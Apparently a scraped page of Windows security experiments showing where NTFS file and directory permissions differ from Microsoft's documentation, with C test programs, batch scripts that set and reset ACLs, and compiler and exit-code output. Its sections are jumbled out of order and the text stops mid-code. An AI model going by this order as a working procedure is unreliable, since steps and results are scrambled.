.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH³: the Win32 function
CreateFile()
            fails with Win32 error code 1314 alias
            ERROR_PRIVILEGE_NOT_HELD
            – the creator can not apply a mandatory
            label!
         Compile and link the source file blunder.c created in
            step 1. a fourth time, now with the preprocessor macro
            BLUNDER defined as 2:
        
CL.EXE /DBLUNDER=2 blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(60) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(72) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 8. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x51B (WIN32: 1307 ERROR_INVALID_OWNER) -- 1307 (1307) Error message text: This security ID may not be assigned as the owner of this object. CertUtil: -error command completed successfully.OUCH³: the Win32 function
CreateFile()
            fails with Win32 error code 1314 alias
            ERROR_PRIVILEGE_NOT_HELD
            – the creator can not set another user as
            owner!
         Compile and link the source file blunder.c created in
            step 1. a last time, now with the preprocessor macro
            BLUNDER defined as 3:
        
CL.EXE /DBLUNDER=3 blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(67) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(72) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(81) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 10. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
An access control list (ACL) is a list of access control entries (ACE). Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee. The security descriptor for a securable object can contain two types of ACLs: a DACL and a SACL.Interaction Between Threads and Securable Objects The MSDN article File Security and Access Rights states likewise:A discretionary access control list (DACL) identifies the trustees that are allowed or denied access to a securable object. When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether to grant access to it. If the object does not have a DACL, the system grants full access to everyone. If the object's DACL has no ACEs, the system denies all attempts to access the object because the DACL does not allow any access rights. The system checks the ACEs in sequence until it finds one or more ACEs that allow all the requested access rights, or until any of the requested access rights are denied. […]
The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights.OUCH⁰: the highlighted statements of both MSDN articles are but wrong – unless overridden by an ACE for the trustee with well-known security identifier[…]
By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory.
S-1-3-4 alias
            OWNER RIGHTS introduced with
            Windows Vista, the RC
            alias READ_CONTROL and
            WD alias
            WRITE_DAC access rights are
            implicitly granted to the object’s owner!
            Security Identifiers (SIDs) New for Windows Vista
        The TechNet article Security Identifiers Technical Overview specifies:
The following table lists the universal well-known SIDs.AD DS: Owner Rights The TechNet article How Permissions Work contradicts the highlighted statements of both MSDN articles and states in itsUniversal well-known SIDs
Value Universal Well-Known SID Identifies … … … S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner. 
Permissions for Files and Folderssection:
Folder permissions include Full Control, Modify, Read & Execute, List Folder Contents, Read, and Write. Each of these permissions consists of a logical group of special permissions that are listed and defined in the following table.Permissions for Files and Folders
Permission Description … … Create Files/ 
Write DataCreate Files allows or denies creating files in the folder. (Applies to folders only.) […] Create Folders/ 
Append DataCreate Folders allows or denies creating folders in the folder. (Applies to folders only.) […] … … Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (Applies to folders.) Delete Allows or denies deleting the file or folder. If you do not have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder. […]
You should also be aware of the following:
Groups or users that are granted Full Control on a folder can delete any files in that folder, regardless of the permissions protecting the file.
 Start the Command Processor
            Cmd.exe in an
            arbitrary, preferable empty directory, then display its access
            permissions:
        
CACLS.EXE .
C:\Users\Stefan\Desktop NT AUTHORITY\SYSTEM:(OI)(CI)F
                        BUILTIN\Administrators:(OI)(CI)F
                        AMNESIAC\Stefan:(OI)(CI)F
         Create an (empty) file blunder.tmp, remove all its
            (inherited) access permissions, verify that its
            DACL is
            empty, and delete the file:
        
COPY NUL: blunder.tmp ICACLS.EXE blunder.tmp /INHERITANCE:R /Q CACLS.EXE blunder.tmp /S ERASE blunder.tmpNote: the command lines can be copied and pasted as block into a Command Processor window.
1 file(s) copied. Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\Desktop\blunder.tmp "D:PAI"OUCH¹: contrary to the highlighted statements of both MSDN articles cited above, but according to the highlighted statements of the TechNet article cited above, the
Full Control(really:
FILE_DELETE_CHILD) access permission
            of the parent directory allows to delete a file with
            empty DACL!
         Create a subdirectory Blunder, remove all its
            (inherited) access permissions, verify that its
            DACL is
            empty, and (try to) remove it:
        
MKDIR Blunder ICACLS.EXE Blunder /INHERITANCE:R /Q CACLS.EXE Blunder /S RMDIR Blunder
Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\Desktop\Blunder "D:PAI" Access deniedOUCH²: contrary to the highlighted statements of the TechNet article cited above, the
Full Controlaccess permission of the parent directory does not allow to remove a subdirectory with empty DACL!
 Grant the owner the SYNCHRONIZE
            access permission for the subdirectory and remove it:
        
ICACLS.EXE Blunder /GRANT *S-1-3-4:(S) /INHERITANCE:R /Q RMDIR Blunder
Successfully processed 1 files; Failed processing 0 filesOUCH³: contrary to all highlighted statements of the articles cited above, removal of a subdirectory requires the
SYNCHRONIZE access permission on
            itself!
        �
REM Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
IF NOT DEFINED SystemRoot EXIT /B
MKDIR Blunder
IF ERRORLEVEL 1 EXIT /B
TITLE Step 0: set empty DACL on subdirectory 'Blunder' and file 'blunder.tmp'
ECHO Y 1>blunder.tmp
"%SystemRoot%\System32\CACLs.exe" Blunder /S:D:P 0<blunder.tmp
"%SystemRoot%\System32\CACLs.exe" blunder.tmp /S:D:P 0<blunder.tmp
TITLE Step 1: verify implicit READ_CONTROL access on subdirectory 'Blunder'
"%SystemRoot%\System32\CACLs.exe" Blunder
TITLE Step 2: (try to) remove subdirectory 'Blunder' and file 'blunder.tmp'
RMDIR Blunder
ERASE blunder.tmp
TITLE Step 3: grant SYNCHRONIZE access on subdirectory 'Blunder', verify implicit WRITE_DAC access
ECHO Y 1>blunder.tmp
"%SystemRoot%\System32\CACLs.exe" Blunder /S:D:P(A;NP;0x100000;;;CO) 0<blunder.tmp
"%SystemRoot%\System32\CACLs.exe" Blunder
TITLE Step 4: remove subdirectory 'Blunder' and create it again
RMDIR Blunder
MKDIR Blunder
TITLE Step 5: deny FILE_ADD_FILE and FILE_ADD_SUBDIRECTORY access on current directory
"%SystemRoot%\System32\CACLs.exe" . /S:D:P(D;NP;0x6;;;CO) 0<blunder.tmp
"%SystemRoot%\System32\CACLs.exe" .
TITLE Step 6: (try to) rename subdirectory 'Blunder' and file 'blunder.tmp'
RENAME Blunder Dummy
RENAME blunder.tmp dummy.tmp
TITLE Step 7: move file 'blunder.tmp' into subdirectory 'Blunder'
MOVE blunder.tmp Blunder
TITLE Step 8: deny FILE_DELETE_CHILD access on subdirectory 'Blunder'
"%SystemRoot%\System32\CACLs.exe" Blunder /S:D:P(D;NP;0x40;;;CO) 0<blunder.tmp
"%SystemRoot%\System32\CACLs.exe" Blunder
TITLE Step 9: remove file 'blunder.tmp' and (empty) subdirectory 'Blunder'
ERASE Blunder\blunder.tmp
RMDIR Blunder
TITLE Step 10: reset DACL on current directory
"%SystemRoot%\System32\ICACLs.exe" . /RESET
EXIT /B The documentation for the Win32 function
            DeleteFile()
            states in its Remarks
 section:
        
The documentation for the Win32 function
- To delete or rename a file, you must have either delete permission on the file, or delete child permission in the parent directory.
[…]
The DeleteFile function fails if an application attempts to delete a file that has other handles open for normal I/O or as a memory-mapped file (FILE_SHARE_DELETE must have been specified when other handles were opened).
DeleteFileTransacted()
            states in its Remarkssection:
The documentation for the Win32 function
- To delete or rename a file, you must have either delete permission on the file, or delete child permission in the parent directory.
[…]
The DeleteFileTransacted function fails if an application attempts to delete a file that has other handles open for normal I/O or as a memory-mapped file (FILE_SHARE_DELETE must have been specified when other handles were opened).
MoveFileEx()
            states in its Remarkssection:
The documentation for the Win32 function
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the ACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and get all the access you request on the handle that is returned to you at the time that you create the file. If you request delete permission at the time you create the file, you can delete or rename the file with that handle but not with any other handle. For more information, see File Security and Access Rights.
MoveFileWithProgress()
            states in its Remarkssection:
Note: the documentations for the Win32 functions
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the ACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and you will get all the access you request on the handle returned to you at the time you create the file. If you requested delete permission at the time you created the file, you could delete or rename the file with that handle but not with any other.
MoveFile()
            and
            MoveFileTransacted()
            but lack such remarks.
         The documentation for the Win32 function
            ReplaceFile()
            states in its Remarks
 section:
        
The documentation for the Win32 function
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the DACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and you will get all the access you request on the handle returned to you at the time you create the file. If you requested delete permission at the time you created the file, you could delete or rename the file with that handle but not with any other.
RemoveDirectory()
            states:
        Deletes an existing empty directory.The MSDN article Creating and Deleting Directories states:[…]
[…]BOOL RemoveDirectory( [in] LPCTSTR lpPathName );
[in] lpPathNameThe path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.
Before removing a directory, you must ensure that the directory is empty and that you have the delete access privilege for the directory. To do the latter, call the GetSecurityInfo function.OUCH⁰: these documentations but specify neither the permissions required to move a file across directories or volumes nor the permissions required to delete, rename or move a directory – contrary to their highlighted statements,
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define NO_ACCESS	0UL
#define FILE_SHARE_NONE	0UL
typedef	struct	_ace
{
	ACE_HEADER	Header;
	ACCESS_MASK	Mask;
	SID		Trustee;
} ACE;
const	struct	_acl
{
	ACL	acl;
	ACE	ace;
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
          {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
#ifdef BLUNDER
           NO_ACCESS,	// (A;NP;;;;OW)
#else
           SYNCHRONIZE,	// (A;NP;0x100000;;;OW)
#endif
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}};
const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
				      0,
				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
				      (SID *) NULL,
				      (SID *) NULL,
				      (ACL *) NULL,
				      &dacl};
const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
		                      NO_ACCESS,
		                      FILE_SHARE_NONE,
		                      &sa,
		                      CREATE_NEW,
		                      FILE_ATTRIBUTE_NORMAL,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
		if (!DeleteFile(L"blunder.tmp"))
			dwError = GetLastError();
	}
	if (!CreateDirectory(L"Blunder", &sa))
		dwError = GetLastError();
	else
		if (!RemoveDirectory(L"Blunder"))
			dwError = GetLastError();
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(38) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(40) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(49) : warning C4090: 'function' : different 'const' qualifiers blunder.c(65) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access is denied. CertUtil: -error command completed successfully.OUCH¹: contrary to all highlighted statements of the documentations cited above, removal of the subdirectory
Blunder fails with Win32 error code 5
            alias
            ERROR_ACCESS_DENIED
            – SYNCHRONIZE access on the
            subdirectory itself is but required to remove it!
         Overwrite the text file blunder.c created in
            step 1. with the following content:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	HANDLE	hBlunder;
	WCHAR	szBlunder[MAX_PATH];
	DWORD	dwBlunder = GetModuleFileName((HMODULE) NULL,
		                              szBlunder,
		                              sizeof(szBlunder) / sizeof(*szBlunder));
	DWORD	dwError = ERROR_SUCCESS;
	if (dwBlunder == 0UL)
		dwError = GetLastError();
	else
#ifdef BLUNDER
	{
		hBlunder = CreateFile(szBlunder,
		                      DELETE,
		                      FILE_SHARE_DELETE,
		                      (LPSECURITY_ATTRIBUTES) NULL,
		                      OPEN_EXISTING,
		                      FILE_FLAG_DELETE_ON_CLOSE,
		                      (HANDLE) NULL);
		if (hBlunder == INVALID_HANDLE_VALUE)
			dwError = GetLastError();
		else
			if (!CloseHandle(hBlunder))
				dwError = GetLastError();
	}
#else
		if (!DeleteFile(szBlunder))
			dwError = GetLastError();
#endif
	ExitProcess(dwError);
} Compile and link the source file blunder.c overwritten
            in step 6. a first time:
        
CL.EXE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(12) : warning C4101: 'hBlunder' : unreferenced local variable Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 7. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access is denied. CertUtil: -error command completed successfully.OUCH²: contrary to all highlighted statements of the documentations cited above, deletion of the file
blunder.exe fails with Win32 error code 5
            alias
            ERROR_ACCESS_DENIED
            – Windows’ kernel denies to delete loaded
            portable executableimage files independent of their access permissions!
 Compile and link the source file blunder.c overwritten
            in step 6. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 9. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access is denied. CertUtil: -error command completed successfully.
 Overwrite the text file blunder.c created in
            step 5. with the following content:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	if (!CreateDirectory(L"Blunder",
	                     (LPSECURITY_ATTRIBUTES) NULL))
		dwError = GetLastError();
	else
	{
		if (!SetCurrentDirectory(L"Blunder"))
			dwError = GetLastError();
		else
		{
#ifndef BLUNDER
			if (!RemoveDirectory(L"."))
#else
			if (!RemoveDirectory(L"..\\Blunder"))
#endif
				dwError = GetLastError();
			if (!SetCurrentDirectory(L".."))
				dwError = GetLastError();
		}
		if (!RemoveDirectory(L"Blunder"))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c overwritten
            in step 15. a first time:
        
CL.EXE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 16. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x20 (WIN32: 32 ERROR_SHARING_VIOLATION) -- 32 (32) Error message text: The process cannot access the file because it is being used by another process. CertUtil: -error command completed successfully.Note: the Win32 error code 32 alias
ERROR_SHARING_VIOLATION
            is expected here – the Win32 function
            SetCurrentDirectory()
            opens the current directory without FILE_SHARE_DELETE!
         Compile and link the source file blunder.c overwritten
            in step 15. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 18. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x20 (WIN32: 32 ERROR_SHARING_VIOLATION) -- 32 (32) Error message text: The process cannot access the file because it is being used by another process. CertUtil: -error command completed successfully.
CreateDirectoryEx(),
            CreateDirectoryTransacted(),
            CreateFile2(),
            CreateFileTransacted(),
            DeleteFileTransacted()
            and
            RemoveDirectoryTransacted()
            is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
When a process tries to access a securable object, the system steps through the access control entries (ACEs) in the object's discretionary access control list (DACL) until it finds ACEs that allow or deny the requested access. The access rights that a DACL allows a user could vary depending on the order of ACEs in the DACL. Consequently, the Windows XP operating system defines a preferred order for ACEs in the DACL of a securable object. The preferred order provides a simple framework that ensures that an access-denied ACE actually denies access. For more information about the system's algorithm for checking access, see How DACLs Control Access to an Object.The MSDN article[…]
The following steps describe the preferred order:
- All explicit ACEs are placed in a group before any inherited ACEs.
- Within the group of explicit ACEs, access-denied ACEs are placed before access-allowed ACEs.
- Inherited ACEs are placed in the order in which they are inherited. ACEs inherited from the child object's parent come first, then ACEs inherited from the grandparent, and so on up the tree of objects.
- For each level of inherited ACEs, access-denied ACEs are placed before access-allowed ACEs.
The system compares the trustee in each ACE to the trustees identified in the thread's access token. An access token contains security identifiers (SIDs) that identify the user and the group accounts to which the user belongs. […]The MSDN article Well-known SIDs specifies:[…]
The system examines each ACE in sequence until one of the following events occurs:
- An access-denied ACE explicitly denies any of the requested access rights to one of the trustees listed in the thread's access token.
- One or more access-allowed ACEs for trustees listed in the thread's access token explicitly grant all the requested access rights.
- All ACEs have been checked and there is still at least one requested access right that has not been explicitly allowed, in which case, access is implicitly denied.
OUCH⁰: this documentation fails to tell where the security identifiersThe following are some universal well-known SIDs.
Universal well-known SID String value Identifies Null SID S-1-0-0 A group with no members. This is often used when a SID value is not known. World S-1-1-0 A group that includes all users. Local S-1-2-0 Users who log on to terminals locally (physically) connected to the system. Creator Owner ID S-1-3-0 A security identifier to be replaced by the security identifier of the user who created a new object. This SID is used in inheritable ACEs. Creator Group ID S-1-3-1 A security identifier to be replaced by the primary-group SID of the user who created a new object. Use this SID in inheritable ACEs. […]
Additionally, the Security Descriptor Definition Language (SDDL) uses SID strings to reference well-known SIDs in a string format.
S-1-3-0
            alias CO,
            S-1-3-1 alias
            CG,
            S-1-3-2 and
            S-1-3-3 must not be used!
            Security Descriptor String Format
            ACE Strings
        The MSDN article SACL Access Right states:
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.The MSDN article Requesting Access Rights to an Object states:
The documentation for the Win32 functionNote
The MAXIMUM_ALLOWED constant cannot be used in an ACE.
IsValidAcl()
            specifies:
        The IsValidAcl function validates an access control list (ACL).The documentation for the Win32 function[…]BOOL IsValidAcl( [in] PACL pAcl );If the ACL is not valid, the function returns zero. There is no extended error information for this function; do not call GetLastError.
[…]
This function checks the revision level of the ACL and verifies that the number of access control entries (ACEs) specified in the AceCount member of the ACL structure fits the space specified by the AclSize member of the ACL structure.
IsValidSecurityDescriptor()
            specifies:
        The IsValidSecurityDescriptor function determines whether the components of a security descriptor are valid.File Security and Access Rights[…]BOOL IsValidSecurityDescriptor( [in] PSECURITY_DESCRIPTOR pSecurityDescriptor );If any of the components of the security descriptor are not valid, the return value is zero. There is no extended error information for this function; do not call GetLastError.
[…]
The IsValidSecurityDescriptor function checks the validity of the components that are present in the security descriptor. It does not verify whether certain components are present nor does it verify the contents of the individual ACE or ACL.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
typedef	struct	_ace
{
	ACE_HEADER	Header;
	ACCESS_MASK	Mask;
	SID		Trustee;
} ACE;
const	struct	_acl
{
	ACL	acl;
	ACE	ace[3];
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 3, 0},
	// (A;NP;AS;;;CG)
          {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
            ACCESS_SYSTEM_SECURITY,
            {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_GROUP_RID}},
	// (A;NP;0x110000;;;CO)
           {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
            DELETE | SYNCHRONIZE,
            {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RID}},
	// (D;NP;MA;;;CO)
           {{ACCESS_DENIED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
            MAXIMUM_ALLOWED,
            {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RID}}}},
  sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
	// (ML;NP;NRNWNX;;;ME)
          {{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
            SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
            {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}}};
const	ACL	*acl[] = {&dacl.acl, &sacl.acl, NULL, NULL};
const	SID	group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_GROUP_RID};
const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
				      0,
				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
				      (SID *) NULL,
				      &group,
				      (ACL *) NULL,
				      &dacl};
const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	SECURITY_DESCRIPTOR	*lpSD;
	LPWSTR	lpSDDL;
	DWORD	dwSDDL;
	DWORD	dwError = ~0UL;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
#ifndef BLUNDER
	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
		                      DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER,
		                      FILE_SHARE_DELETE,
		                      &sa,
		                      CREATE_NEW,
		                      FILE_FLAG_DELETE_ON_CLOSE,
		                      (HANDLE) NULL);
	DWORD	dwACL = 0UL;
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		do
		{
			dwError = GetSecurityInfo(hBlunder,
			                          SE_FILE_OBJECT,
			                          DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
			                          GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
			                          (SID **) NULL,
			                          (SID **) NULL,
			                          (ACL **) NULL,
			                          (ACL **) NULL,
			                          &lpSD);
			if (dwError != ERROR_SUCCESS)
				break;
			if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
			                                                         SDDL_REVISION_1,
			                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
			                                                         &lpSDDL,
			                                                         &dwSDDL))
				dwError = GetLastError();
			else
			{
				lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
				if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
					dwError = GetLastError();
				else
					if (dwError ^= dwSDDL)
						dwError = ERROR_WRITE_FAULT;
				//	else
				//		dwError = ERROR_SUCCESS;
				if (LocalFree(lpSDDL) != NULL)
					dwError = GetLastError();
			}
			if (LocalFree(lpSD) != NULL)
				dwError = GetLastError();
			if (dwError != ERROR_SUCCESS)
				break;
			dwError = SetSecurityInfo(hBlunder,
			                          SE_FILE_OBJECT,
			                          LABEL_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION,
			                          (SID *) NULL,
			                          &group,
			                          acl[dwACL],
			                          acl[dwACL + 1UL]);
		}
		while ((dwError == ERROR_SUCCESS) && (++dwACL < sizeof(acl) / sizeof(*acl) - 1));
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
	}
#else // BLUNDER
	if (IsValidAcl(&dacl)
	 && IsValidAcl(&sacl)
	 && IsValidSecurityDescriptor(&sd))
	{
		if (!ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
		                                                         SDDL_REVISION_1,
		                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
		                                                         &lpSDDL,
		                                                         &dwSDDL))
			dwError = GetLastError();
		else
		{
